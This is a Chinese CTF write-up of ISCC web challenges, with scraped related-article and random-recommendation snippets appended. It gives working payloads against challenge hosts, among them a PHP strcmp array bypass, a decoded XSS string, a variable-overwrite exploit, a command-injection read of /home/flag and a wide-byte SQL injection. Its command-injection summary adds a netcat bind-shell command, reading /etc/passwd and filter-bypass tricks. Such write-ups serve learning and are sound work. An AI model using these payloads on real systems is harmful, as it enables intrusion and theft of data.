比赛已经结束了,自己做出来的题也不是很多,跟大家分享一下

第一题:比较数字大小

打开连接

在里面随意输入一个值,他会提示数字太小了

那么我们输入他允许的最大值试试

他还是提示太小了

我们知道做web‘最先看的就是F12打开源码

在源码里我们可以看到框内设置的最长字段是3

那么我们改大,再在框内输入远大于三位数的数字提交就会看到flag了

第二题:web01

打开连接

在地址栏里如下图输入回车后就会得到flag

这里是参考一位大佬的文献做出如下解释(大佬文献链接:http://www.91ri.org/12634.html)

这里必须得说一下==和===这俩货的重要性。
==是比较运算,它不会去检查条件式的表达式的类型
===是恒等,它会检查查表达式的值与类型是否相等
NULL,0,”0″,array()使用==和false比较时,都是会返回true的,而使用===却不会

这里,使用strcmp去比较password和flag,如果==0的话,就给出flag,

但是strcmp比较,如果相等才会返回0,如果不相等的话,要么大于0,要么小于0,

但是strcmp只会处理字符串参数,如果给个数组的话呢,就会返回NULL,而判断使用的是==,NULL==0是bool(true)的,

所以,这道题还是一如既往构造一个数组进去

第三题:本地的诱惑

web签到题

提示是本地的诱惑

说明就是要抓包改包

将地址改为本地地址

用BP抓包工具抓包改包

修改方式如下

然后GO就可以了

第四题:你能跨过去吗?

http://www.test.com/NodeMore.jsp?id=672613&page=2&pageCounter=32&undefined&callback=

%2b/v%2b%20%2bADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAl

AG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA%2b

AC0-&_=1302746925413

在他给出的提示中

%2b   是+号

%20   是空格  (序列化之后)

把中间的base64编码提取出来解开

<script>alert("key:/%nsfocusXSStest%/")</script

把key输入进去就可以了

第五题:一切都是套路

$v){
$$k = $$v;
} foreach ($_POST as $k => $v){
$$k = $v;
} if ( $_POST["flag"] !== $flag )
die($_403); echo "flag: ". $flag . "\n";
die($_200); ?>

从代码中可以看出这是一个变量覆盖漏洞

构造攻击:
GET:http://118.190.152.202:8009/?_200=flag
POST: flag=111
原理: 
foreach ($_GET as $k => $v){
$$k = $$v; //将$_200注册为变量并且赋值为$flag的值
}
由于if (!isset($_POST["flag"]) )的限制post变量中必须要包含flag,但是由于下面代码又把flag覆盖掉了
foreach ($_POST as $k => $v){
$$k = $v; ////将flag注册为变量赋值为111
}
所以无法直接看到flag,所以需要将$_200的值覆盖为$flag

第六题:你能绕过吗?

第七题:web02

直接上工具,

把题目链接填上

构造本地ip

然后抓包就能找到了

第八题:请ping我的ip看你能ping通吗?

对URL进行初始猜测这是一个命令执行漏洞
http://118.190.152.202:8018/?ip=127.0.0.1

命令分隔符这里介绍5种姿势

%0a符号
换行符
%0d符号
回车符
;符号
在 shell 中,担任”连续指令”功能的符号就是”分号”
&符号

使用http://118.190.152.202:8018/?ip=127.0.0.1%0acat%20index.php


flag文件在/home目录下哦!!!

index.php?ip=127.0.0.1%0Acat /home/flag

既然题面说了ping,自然很容易联想到命令注入这一块儿,之前没有好好用过命令注入,最近做了这题,顺便总结一下命令注入的相关知识。

好了,回归本题。经测试,?ip=xxx的确可以做到ping,根据提示,注入点也八九不离十就在这儿了。

测试了n多截断,都没有成功,包括& | ; (反引号) || && ,最后查到还有%0a,代表空格。。学习了。注入成功。

然后就是读取了,先ls一下,看到当前目录下只有index.php,cat看了一下,发现过滤情况。不过flag并不在这儿

        ';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
); $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 1 ' . $target );
}
echo "
{$cmd}
";
?>

而后直接ls / 到根目录,查看各个可疑的文件夹,在/home里发现flag,cat读取之。最终Payload为:index.php?ip=127.0.0.1%0Acat /home/flag

分析

这道题不得不说,还是吃了点苦头的。自己对命令注入了解甚少,当初培训讲过的也已经忘记了。所幸,CTF是学习的过程,学到东西就是好题。一开始找不到可用的截断的时候,用了神器commix,然而并没有跑出来。。这个应该还得继续研究一下。

OS Command Injection总结

0x00. Def.

系统提供命令执行类函数主要方便处理相关应用场景的功能.而当不合理的使用这类函数,同时调用的变量未考虑安全因素,就会执行恶意的命令调用,被攻击利用。

0x01.Causes

此类命令执行函数依赖PHP配置文件的设置,如果配置选项 safe_mode 设置为 off,此类命令不可执行,必须设置为 On
的情况下,才可执行。PHP 默认是关闭的。在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用 safe_mode_exec_dir指令,或在编译PHP是加上 –with-exec-dir选项来指定,默认是/usr/local/php /bin。

0x02.Method

常见php命令注入函数:

eval(),,assert(), system(),preg_replace(), create_function, call_user_func, call_user_func_array,array_map(),反引号,ob_start(),exec(),shell_exec(),passthru(),escapeshellcmd(),popen(),proc_open(),pcntl_exec()

命令注入中有讲究的字符

'$'
';'
'|'
'-'
'('
')'
'反引号'
'||'
————以上是上题过滤的。
以下是查到的其他的:
'&&'
'&'
'}'
'{'

姿势

  • 检测一阶命令注入的最佳方式是尝试执行一个sleep命令
  • 在外部可以访问的端口上生成一个shell(仅适用于自定义netcat构建):nc -l -n -vv -p 80 -e /bin/bash (unix) 或 nc -l -n -vv -p 80 -e cmd.exe (windows)。
  • 如果想要知道目标主机名的长度,我们可以将主机名的输出通过管道符传递给wc -c命令。

绕过

  • 防护措施中使用最多的就是对于payload中空格的限制。

    OS命令注入中的空格:

    • bash
      空格可以替换为%20、%09(tab)、%2b(+) in url、{IFS}
    • Win shell
      空格可以替换为%20、%09(tab)、%0b、%0c、%2b(+) in url

    花括号扩展:

    • 如:;{cat,/etc/passwd}'

参考文章

    • FREEBUF 命令注入与挖洞 http://www.freebuf.com/vuls/139924.html
    • FREEBUF i春秋关于命令注入的分享http://www.freebuf.com/column/146503.html

第九题:Please give me username and password!

打开连接查看源码

源码信息太少

在地址栏后面跟着输入

/?username=1&password=1

回车

查看源码

可以发现里面有一个txt文档

怎么打开呢?

在原来的网页上地址栏中跟着输入index.php.txt 回车

这就是有关flag的代码

剩下的就是绕过了

在地址栏里输入  /?username[]=1&password=1e3

username[]=1的作用是 绕过

第十题:SQL注入的艺术

该题为宽字节注入

http://118.190.152.202:8015/index.php?id=1%df%27 order by 8%23

总共有8个字段

直接丢sqlmap跑了

第十一题:试试看

第十二题:Collide

第十三题:Only admin can see flag

新增题目

直接网上搜md5值碰撞,试出来的

ISCC的 Web——WP的更多相关文章

  1. ISCC的 Misc——WP

    比赛已经结束了,自己做出来的题也不是很多,跟大家分享一下 Misc 第一题:What is that? 下载链接; 打开 解压 是一个图片 因为分值很少所以题和简单 观察图片是一个向下指的手 说明fl ...

  2. 实验吧—Web——WP之 Forms

    我们先打开解题链接: 做Web题的第一步就是查看网页源代码,当然,有些网页他不会让你点击右键,那么可以在地址栏里的地址前面加上:view-source: 当然也可以打开控制台F12 我们可以看到代码里 ...

  3. 到处抄来的SUCTF2019 web wp

    0x01 EasySQL 这是一个考察堆叠注入的题目,但是这道题因为作者的过滤不够完全所以存在非预期解 非预期解 直接构造 *,1 这样构造,最后拼接的查询语句就变成了 select *,1||fla ...

  4. 2021CISCN 华南赛区WEB wp

    CISCN 华南区域赛 太菜了 我躺平了 easy_seri <?php error_reporting(0); highlight_file(__FILE__); class Test{ pu ...

  5. 2019西湖论剑web wp

    发在正文前 这应该是自己在安全圈摸爬滚打两年多以来第一次正规的ctf比赛.没解出flag,没截图,只提供了一些思路. 遥想往昔,初入大学,带着对PT的向往,一个人穿行在幽暗的图书馆,翻阅啃读一本本安全 ...

  6. 【CTF WEB】ISCC 2016 web 2题记录

      偶然看到的比赛,我等渣渣跟风做两题,剩下的题目工作太忙没有时间继续做. 第1题 sql注入: 题目知识 考察sql注入知识,题目地址:http://101.200.145.44/web1//ind ...

  7. 实验吧—Web——WP之 FALSE

    打开链接,点击源码按钮,我们开始分析源码: 在这源码中我们能看出 如果名字等于密码就输出:你的名字不能等于密码 如果名字的哈希值等于密码的哈希值,那么就会输出flag 这就意味着我们要上传两个值,值不 ...

  8. 实验吧—Web——WP之 Guess Next Session

    打开链接,他有给出查看原码的按钮,那么我们打开看看 在这个里面,如果GET的值等于session的就会给出flag 那么我们进行抓包改包 在输入框内随意输入一个值然后抓包 将password的值删去, ...

  9. 实验吧—Web——WP之 简单的sql注入之2

    直接打开解题连接: 既然是SQL注入,那么我们就要构造注入语句了,这个就要有耐心一个一个去尝试了 输入语句 1'and 1=1 # 和 1'and/**/1=1/**/#后 对比一下,发现是过滤掉了空 ...

随机推荐

  1. windows 文件/文件夹操作

    move命令 命令作用:移动某个文件到指定的文件夹下 将D:\file\abc.zip 移动到 E:\test\文件夹下 move d:\file\abc.zip e:\test\ 移动之后再原来的文 ...

  2. C++ 解析一

    C++ 类和对象C++ 在 C 语言的基础上增加了面向对象编程,C++ 支持面向对象程序设计.类是 C++ 的核心特性,通常被称为用户定义的类型.类用于指定对象的形式,它包含了数据表示法和用于处理数据 ...

  3. css3 前端开发

    一.前缀: -moz(例如 -moz-border-radius)用于Firefox -webkit(例如:-webkit-border-radius)用于Safari和Chrome. 二.CSS3圆 ...

  4. hustoj 管理员和后台设置

    之前用过hustoj 的livecd版本,觉得有一些小问题,所以从头到尾搭建.主要包含的过程包括: 安装ubuntu系统 搭建hustoj 管理员和后台资源建设 本文介绍如何在搭建好hustoj的基础 ...

  5. :命令模式:Command

    #ifndef __COMMAND_H__ #define __COMMAND_H__ #include <vector> #include "Equipment.h" ...

  6. window.location.replace()与window.location.href()区别

    有3个页面 a,b,c 如果当前页面是c页面,并且c页面是这样跳转过来的:a->b->c 1:b->c 是通过window.location.replace("..xx/c ...

  7. Linux文件系统命令 umask

    命令:umask 功能:指定创建文件或者文件夹的时,默认的权限设置 用法:umask -S:以rwx的方式查看创建文件的权限 umask -p:以补位的方式查看文件的权限,显示的是补位的十进制. 另外 ...

  8. hdu3861 强连通分量缩点+二分图最最小路径覆盖

    The King’s Problem Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Other ...

  9. 2019.3.22 Week 11 : ZigBee power test and field test

    Test require Zigbee sample:EFR32MG13  (RF layout has ) Gateway N4010A : 2.5Ghz 1Power test 2Field te ...

  10. php优秀框架codeigniter学习系列——hooks

    这篇文章学习CI框架的钩子特性. hooks是CI框架提供的一种机制,允许你在程序框架运行流程的某个阶段执行你自己的一些代码.比如系统运行前,CI_Controller调用前,系统运行结束后等特定的时 ...